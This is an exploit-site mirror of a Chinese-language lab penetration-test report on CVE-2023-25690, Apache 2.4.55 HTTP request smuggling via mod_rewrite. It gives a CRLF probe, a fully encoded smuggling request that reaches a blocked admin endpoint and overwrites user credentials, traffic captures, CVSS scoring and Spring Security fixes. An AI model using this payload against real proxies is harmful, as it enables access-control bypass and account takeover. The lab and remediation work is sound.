Sploitus

Exploit for CVE-2023-25690_lab

kitploit · 2026-09-13

Exploit Code

MARKDOWN415 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GIORDY0424-CVE-2023-25690_LAB
# 通过 Apache 代理进行 HTTP 请求走私

## 环境配置

### 基础设施

组件| 角色| 版本  
---|---|---  
Apache HTTP Server| 反向代理| 2.4.55(存在漏洞)  
Spring Boot(内嵌 Tomcat)| 后端 API| 4.x(Java 21)  
SQLite| 数据库| —  
  
root@kitploit:~
    
    
    用户 ──► Apache :80(代理)──► Spring Boot :8080(后端)──► SQLite
                │
                ├─ mod_rewrite + mod_proxy
                ├─ CVE-2023-25690:CRLF 未经过滤
                ├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
                ├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
                └─ ACL:<Location "/admin"> 已阻止
    

### 后端公共端点

root@kitploit:~
    
    
    POST /public/register:允许用户在数据库中注册
    POST /public/login:通过验证输入的凭据允许登录,并发放会话令牌
    GET /public/dashboard:用户专属区域
    GET /api/status:接受参数“name”,是用于验证服务状态的示例端点
    GET /public/logout
    

### 后端私有端点

root@kitploit:~
    
    
    POST /admin/edit/{id}/{newName}/{newPass}:这是一个理论上公众无法访问的路由,允许管理员修改用户数据
    
    

### 渗透测试参考方法论

  1. **规划** — 定义范围
  2. **发现** — 信息收集、足迹分析、扫描与枚举、漏洞分析
  3. **攻击** — 漏洞利用、权限提升
  4. **报告** — 执行摘要、技术报告



* * *

# 执行摘要

在渗透测试活动中,识别出暴露 Spring Boot 后端的反向代理基础设施中存在**严重漏洞** 。Apache HTTP Server **2.4.55** 版本受 **CVE-2023-25690** (HTTP 请求走私)漏洞影响,该漏洞允许攻击者**绕过代理上实施的安全过滤器** ,直接访问未受保护的内部管理端点。

该攻击利用了 Apache `RewriteRule` 中缺乏对控制字符(CRLF)的过滤,允许在发往后端的合法请求参数中注入**第二个 HTTP 请求** 。概念验证已证明可通过 `/admin/edit/{id}/{newName}/{newPass}` 端点**未经授权修改数据库中的用户凭据** ,而该端点理论上受代理 ACL 保护。

**建议** :立即将 Apache HTTP Server 升级至 **≥ 2.4.56** 版本,加强代理上的安全过滤器,并为所有敏感端点实施后端安全层(Spring Security)。

* * *

## 1 规划

### 1.1 模式

  * 攻击向量:互联网
  * 攻击目标环境:生产环境



### 1.2 灰盒 - 已知信息:

  * 前端主机名
  * 后端主机名(或公司局域网内的 IP 地址)及端口
  * 私有端点



### 1.3 测试目标

  * 绕过 Apache 的 ACL 以访问私有端点
  * 证明未经授权修改数据库中用户数据的能力
  * 评估 CVE-2023-25690 在真实场景中的实际影响



## 2 漏洞评估 — 发现阶段

### 2.1 信息收集与足迹分析

#### 2.1.1 横幅抓取

通过分析 HTTP 响应头识别 Apache 版本。

root@kitploit:~
    
    
    $ curl -I http://localhost/service/
    
    HTTP/1.1 200
    Date: Sun, 21 Jun 2026 08:54:00 GMT
    Server: Apache/2.4.55 (Unix)
    Content-Type: text/plain;charset=UTF-8
    Content-Length: 42
    

**结果** :服务器头信息显示 `Apache/2.4.55`。查询 CVE 数据库 → 与 **CVE-2023-25690** 匹配。

根据该 CVE,在此版本的 Apache 中,如果存在一条 RewriteRule 将来自代理请求的通用字符复制到后端目标 URL 中,则转录的文本不会被过滤,因此控制字符(如回车换行)也会通过。

例如: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // P 代表代理模式

因此,现在的目标是发现是否存在某个端点在代理层面执行这种转录。

#### 2.1.2 识别后端技术

从响应分析和应用行为中可以观察到,会话通过 JSESSIONID 管理,这确认了 Java Servlet 容器(如 Apache Tomcat、Jetty 或 WildFly)的使用。此外,对不存在端点的请求返回“Whitelabel Error Page”,表明后端运行的是 Spring Boot。

### 2.2 扫描与枚举

#### 2.2.1 端点发现(模糊测试)

通过用于自动化字典模糊测试的 bash 脚本,已映射出网络中暴露的端点(推测为全部端点)。

结果:

#### 2.2.2 代理配置映射(推断)

由于

  * /service/x
  * /api/status?name=x



两者返回相同响应,可知它们指向同一后端端点。此外,由于类似 /service/x/y/z 的请求(很可能不存在)不会返回 404,可以推断原始端点接受的是参数而非路径变量。因此可以得出结论:对 /service/<service> 的请求通过 RewriteRule 转发到 Spring Boot 后端(正是我们要找的)。现在需要确定这条 RewriteRule 是否是宽松的,即使用类似 .* 的正则表达式,还是结构严谨的。

我尝试在请求中插入控制字符,以将合法内容与隐藏内容分离:

root@kitploit:~
    
    
    curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
    
    >> ... HTTP/1.1 200 ... 服务 'x' 运行正常且稳定。
    

我插入了一个自定义参数来验证 CRLF 是否被正确解析。

trash_header 的作用是封装 Apache 将添加到后端请求中的头部(这样它们将被解析为 X-Header 的普通文本,对 HTTP 请求而言不具有实际意义)。

* * *

### 攻击者范围之外

通过后端容器中的 _tcpdump_ ,我得以拦截来自 Apache 的 HTTP 请求:

root@kitploit:~
    
    
    docker exec -it apache_vuln-spring-backend-1 sh
    apk add tcpdump
    tcpdump -i any -A port 8080
    

后端看到如下请求:

root@kitploit:~
    
    
    GET /api/status?name=x HTTP/1.1
    Host: spring-backend
    
    prova: ok
    trash_header:  HTTP/1.1
    Host: spring-backend:8080
    User-Agent: curl/7.81.0
    Accept: */*
    X-Forwarded-For: 172.19.0.1
    X-Forwarded-Host: localhost
    X-Forwarded-Server: localhost
    Connection: Keep-Alive
    

* * *

“控制字符已被控制”

响应表明,包含控制字符的部分已作为 HTTP 请求本身的结构顺利通过,而不仅仅是作为参数(因为后端捕获的名称仅为 'x')。因此,我们已设定了发往后端的 HTTP 请求格式,且代理已接受,这为真正的走私攻击载荷开辟了道路。

### 2.3 攻击面映射

* * *

## 3 攻击

### 3.1 攻击目标

强制 Apache 反向代理向后端 Spring Boot 转发**两个独立请求** ,使第二个请求到达 `/admin/edit/` 端点,同时**绕过 Apache 的 ACL 过滤器** 。

在此阶段,假设 localhost 和 spring-backend 分别是代理和服务器的公共地址。如果代理和后端位于同一网络(或组织)中,spring-backend 将是一个私有 IP(遗憾的是,这很难获知)。

### 3.2 走私机制

漏洞存在于 RewriteRule 中:

root@kitploit:~
    
    
    RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
    

代理将用户输入捕获到 `$1` 中,并将其插入查询字符串,**未过滤** 控制字符(`%20`、`%0d%0a`)。后端(Tomcat)将这些字符解释为 **URL 的终止** 和**同一 TCP 套接字上新 HTTP 请求的开始** 。

### 3.3 攻击载荷构成

root@kitploit:~
    
    
    A) GET /service/x                  → 合法部分;/service/ 之后的所有内容
                                          进入 $1(name 参数)
    
    B) %20HTTP/1.1                     → [分割点] 空格提前终止
                                          后端中的 URL
    
    C) %0d%0aHost:...%0d%0a%0d%0a     → [头部注入] CRLF 用于终止
                                          第一个请求
    
    D) POST /admin/edit/1/HACKED/PWNED → [走私请求] 隐藏的
                                          恶意请求指向 admin 端点
    
    E) %20HTTP/1.1                     → 第二个请求的 HTTP 版本
    
    F) %0d%0aContent-Length:%200       → POST 的空请求体
       %0d%0aConnection:%20close
       %0d%0aX-Header:%20              → [头部吸收器] 吸收 Apache
                                          自动添加的头部
    

### 3.4 完整 HTTP 请求

root@kitploit:~
    
    
    GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
    Host: localhost
    

### 3.5 流量解码

Apache **看到的** (单个请求):

root@kitploit:~
    
    
    GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
    Host: localhost
    

后端**接收到的** (同一套接字上的两个请求):

root@kitploit:~
    
    
    --- 请求 1(合法,但被“截断”)---
    GET /api/status?name=x HTTP/1.1
    Host: spring-backend
    
    --- 请求 2(走私)---
    POST /admin/edit/1/HACKED/PWNED HTTP/1.1
    Content-Length: 0
    Connection: close
    X-Header:
    

### 3.6 结果

root@kitploit:~
    
    
    >> ... HTTP/1.1 200 ... 服务 'x' 运行正常且稳定。
    

ID 为 1 的用户已被重命名为 `HACKED`,密码为 `PWNED` — **完全绕过代理的 ACL** 。

* * *

### 攻击者范围之外

直接访问数据库进行确认:

root@kitploit:~
    
    
    $ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"
    
    1|HACKED|PWNED
    

* * *

## 4 漏洞评估

### 4.1 识别

ID| 描述  
---|---  
**CVE-2023-25690**|  Apache HTTP Server 通过 mod_proxy 与 RewriteRule/ProxyPassMatch 实现 HTTP 请求走私  
**CWE-444**|  HTTP 请求的不一致解析('HTTP 请求/响应走私')  
**CWE-113**|  HTTP 头中 CRLF 序列的不当中和('HTTP 响应拆分')  
  
### 4.2 CVSS 3.1 评分

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

#### 基础指标

**基础评分** :**10.0** (严重)— `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`

#### 时间指标

指标| 值| 描述  
---|---|---  
利用代码成熟度(E)  
  
**时间评分** :**9.3** (高)

#### 环境指标

**环境评分** :**8.0** (高)

**向量字符串** :`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H`

**综合评分** :**8.0 — 高**

* * *

## 5\. 修复措施

### 5.1 软件升级(推荐)

将 Apache HTTP Server 升级至 **≥ 2.4.56** 版本,该版本在服务器核心层面强制对带有 `[P]` 标志的 `RewriteRule` 中的控制字符进行过滤。

当前版本| 目标版本| 修复  
---|---|---  
2.4.55| 2.4.56+| mod_proxy 中自动过滤 CRLF  
  
### 5.2 后端加固(Spring Boot)

#### 实施 Spring Security

在 `pom.xml` 中添加 `spring-boot-starter-security`:

root@kitploit:~
    
    
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-security</artifactId>
    </dependency>
    

配置保护管理端点的 `SecurityFilterChain`:

root@kitploit:~
    
    
    @Configuration
    @EnableWebSecurity
    public class SecurityConfig {
    
        @Bean
        public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
            http
                .authorizeHttpRequests(auth -> auth
                    .requestMatchers("/public/**").permitAll()
                    .requestMatchers("/api/**").permitAll()
                    .requestMatchers("/admin/**").hasRole("ADMIN")
                    .anyRequest().authenticated()
                )
                .httpBasic(Customizer.withDefaults())
                .sessionManagement(session -> session
                    .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
            return http.build();
        }
    }
    

#### 输入验证

对所有端点接受的参数(查询字符串、路径变量、表单数据)添加检查:

root@kitploit:~
    
    
    @PostMapping("/admin/edit/{id}/{newName}/{newPass}")
    public String adminEdit(
            @PathVariable Long id,
            @PathVariable @NotBlank String newName,
            @PathVariable @NotBlank String newPass,
            HttpSession session) {
    
        // 验证用户是否具有 ADMIN 角色
        User loggedUser = (User) session.getAttribute("LOGGED_USER");
        if (loggedUser == null || !loggedUser.hasAdminRole()) {
            return "访问被拒绝";
        }
        // ... 仅在认证检查后允许操作
    }